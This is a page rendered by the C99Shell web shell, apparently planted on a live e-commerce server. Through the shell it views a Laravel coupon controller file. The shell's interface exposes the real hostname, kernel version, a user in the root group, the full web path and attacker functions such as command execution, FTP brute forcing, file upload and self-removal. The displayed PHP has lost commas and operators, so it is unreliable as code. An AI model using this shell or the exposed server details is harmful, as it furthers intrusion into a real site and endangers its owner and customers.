!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Coupon/Http/Controllers/   drwxr-xr-x
Free 23.18 GB of 117.98 GB (19.65%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CouponController.php (9.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package CouponController
 * @author TechVillage <support@techvill.org>
 * @contributor Al Mamun <[almamun.techvill@gmail.com]>
 * @created 18-11-2021
 */

namespace Modules\Coupon\Http\Controllers;

use 
Illuminate\Http\Request;
use 
App\Http\Controllers\Controller;
use 
App\Http\Resources\AjaxSelectSearchResource;
use 
Modules\Coupon\DataTables\CouponDataTable;
use 
Modules\Coupon\Exports\CouponListExport;

use 
Modules\Coupon\Http\Models\{
    
CouponCouponMetaProductCoupon
};
use 
App\Models\{
    
ProductVendor
};
use 
Excel;

class 
CouponController extends Controller
{
    
/**
     * Coupon List
     *
     * @param CouponDataTable $dataTable
     * @return \Illuminate\Contracts\Support\Renderable
     */
    
public function index(CouponDataTable $dataTable)
    {
        return 
$dataTable->render('coupon::index');
    }

    
/**
     * Create Coupon
     *
     * @return \Illuminate\Contracts\View\View
     */
    
public function create()
    {
        return 
view('coupon::create');
    }

    
/**
     * Store Coupon
     *
     * @param Request $request
     * @return \Illuminate\Routing\Redirector
     */
    
public function store(Request $request)
    {
        
$request['maximum_discount_amount'] = validateNumbers($request->maximum_discount_amount);

        if (
$request->discount_type <> 'Percentage' || empty($request['maximum_discount_amount'])) {
            
$request['maximum_discount_amount'] = null;
        }

        
$request['shop_id'] = isActive('Shop') ? $request['shop_id'] : null;
        
$validator Coupon::storeValidation($request->all());

        if (
$validator->fails()) {
            return 
back()->withErrors($validator)->withInput();
        }

        
$request['start_date'] = DbDateFormat($request->start_date);
        
$request['end_date'] = DbDateFormat($request->end_date);

        
$couponId = (new Coupon)->store($request->only('name''vendor_id''shop_id''usage_limit''code''discount_type''minimum_spend''discount_amount''maximum_discount_amount''start_date''end_date''status'));
        
        if (
$couponId) {
            
$productCoupon = [];
            if (!empty(
$request->product_ids)) {
                foreach (
$request->product_ids as $product_id) {
                    
$productCoupon[] = ['coupon_id' => $couponId'product_id' => $product_id];
                }
            }
            if (!empty(
$productCoupon)) {
                (new 
ProductCoupon)->store($productCoupon);
            }
            
$data = ['status' => 'success''message' => __('The :x has been successfully saved.', ['x' => __('Coupon')])];
        } else {
            
$data = ['status' => 'fail''message' => __('Something went wrong, please try again.')];
        }

        
// Coupon Meta
        
$couponMeta = [
            
'coupon_id' => $couponId,
            
'type' => 'string',
            
'key' => 'allow_free_shipping',
            
'value' => 0

        
];
        if (isset(
$request->allow_free_shipping)) {
            
$couponMeta['value'] = 1;
        }
        (new 
CouponMeta)->store($couponMeta);

        
$this->setSessionValue($data);
        return 
redirect()->route('coupon.index');
    }

    
/**
     * Edit Coupon
     *
     * @param int $id
     * @return \Illuminate\Contracts\View\View
     */
    
public function edit($id null)
    {
        
$result $this->checkExistence($id'coupons');
        if (
$result['status'] == true) {
            
$data['coupon'] = Coupon::with('products:id')->find($id);
            
$data['shops'] = \Modules\Shop\Http\Models\Shop::getAll()->where('status''Active');
            
$data['products'] = [];
            foreach (
$data['coupon']->products as $key => $product) {
                
$data['products'][] = $product->id;
            }

            return 
view('coupon::edit'$data);
        }

        
$this->setSessionValue(['status' => 'fail''message' => $result['message']]);
        return 
back();
    }

    
/**
     * Update Coupon
     *
     * @param Request $request
     * @param int $id
     * @return \Illuminate\Routing\Redirector
     */
    
public function update(Request $request$id)
    {
        
$result $this->checkExistence($id'coupons');
        if (
$result['status'] === true) {
            
$request['shop_id'] = isActive('Shop') ? $request['shop_id'] : null;
            
$request['minimum_spend'] = validateNumbers($request->minimum_spend);
            
$request['discount_amount'] = validateNumbers($request->discount_amount);
            
$request['vendor_id'] = empty($request->vendor_id) ? null $request->vendor_id;
            
$validator Coupon::updateValidation($request->all(), $id);
            if (
$validator->fails()) {
                return 
back()->withErrors($validator)->withInput();
            }

            
$request['maximum_discount_amount'] = validateNumbers($request->maximum_discount_amount);
            if (
$request->discount_type <> 'Percentage' || empty($request['maximum_discount_amount'])) {
                
$request['maximum_discount_amount'] = null;
            }
            
$request['start_date'] = DbDateFormat($request->start_date);
            
$request['end_date'] = DbDateFormat($request->end_date);
            
$response = (new Coupon)->updateData($request->all(), $id);
            
$productCoupon = [];
            if (!empty(
$request->product_ids)) {
                foreach (
$request->product_ids as $product_id) {
                    
$productCoupon[] = ['coupon_id' => $id'product_id' => $product_id];
                }
            }
            (new 
ProductCoupon)->updateData($productCoupon$id);

            
// Coupon Meta
            
$couponMeta = [
                
'coupon_id' => $id,
                
'type' => 'string',
                
'key' => 'allow_free_shipping',
                
'value' => 0

            
];
            if (isset(
$request->allow_free_shipping)) {
                
$couponMeta['value'] = 1;
            }
            (new 
CouponMeta)->store($couponMeta);
        } else {
            
$response = ['status' => 'fail''message' =>$result['message']];
        }

        
$this->setSessionValue($response);
        return 
redirect()->route('coupon.index');
    }

    
/**
     * Delete Coupon
     *
     * @param int $id
     * @return \Illuminate\Routing\Redirector
     */
    
public function destroy($id null)
    {
        
$result $this->checkExistence($id'coupons');
        if (
$result['status'] === true) {
            
$response = (new Coupon)->remove($id);
        } else {
            
$response = ['status' => 'fail''message' => $result['message']];
        }

        
$this->setSessionValue($response);
        return 
redirect()->route('coupon.index');
    }

    
/**
     * Coupon list pdf
     *
     * @return html static page
     */
    
public function downloadPdf()
    {
        
$data['coupons'] = Coupon::getAll();
        return 
printPDF($data'coupon_list' time() . '.pdf''coupon::pdf'view('coupon::pdf'$data), 'pdf');
    }

    
/**
     * Coupon list csv
     *
     * @return html static page
     */
    
public function downloadCsv()
    {
        return 
Excel::download(new CouponListExport(), 'coupon_list' time() . '.csv');
    }

    
/**
     * Vendor Shop
     *
     * @param int $id
     * @return json $shops
     */
    
public function getShopByVendor($id null)
    {
        
$shops = [];
        if (!
is_null($id)) {
            
$shops \Modules\Shop\Http\Models\Shop::getAll()->where('vendor_id'$id);
        }
        return 
json_encode($shops);
    }

    
/**
     * Shop Product
     *
     * @param Request $request
     * @param int $id
     * @return json $data
     */
    
public function getCouponProduct(Request $request$id null)
    {
        
$data['products'] = [];
        if (!
is_null($id)) {
            if (
isActive('Shop') ? false false) {
                
$data['products'] = Product::select('id''name')->where('shop_id'$id)->get();
            } else {
                
$data['products'] = Product::select('id''name')->where('vendor_id'$id)->get();
            }
        }
        if (isset(
$request->coupon_id) && !empty($request->coupon_id)) {
            
$data['select'] = [];
            
$productIds ProductCoupon::select('product_id')->where('coupon_id'$request->coupon_id)->get();
            foreach (
$productIds as $key => $value) {
                
$data['select'][] = $value->product_id;
            }
        }

        return 
json_encode($data);
    }

    
/**
     * Get product by ids
     *
     * @param Request $request
     * @return json
     */
    
public function getOldProducts(Request $request)
    {
        
$products Product::select('id''name')->whereIn('id'$request->product_ids)->get();

        return 
AjaxSelectSearchResource::collection($products);
    }

    
/**
     * Get vendor by id
     *
     * @param Request $request
     * @return json
     */
    
public function getOldVendor(Request $request)
    {
        
$vendor Vendor::select('id''name')->where('id'$request->vendor_id)->first();

        return new 
AjaxSelectSearchResource($vendor);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0318 ]--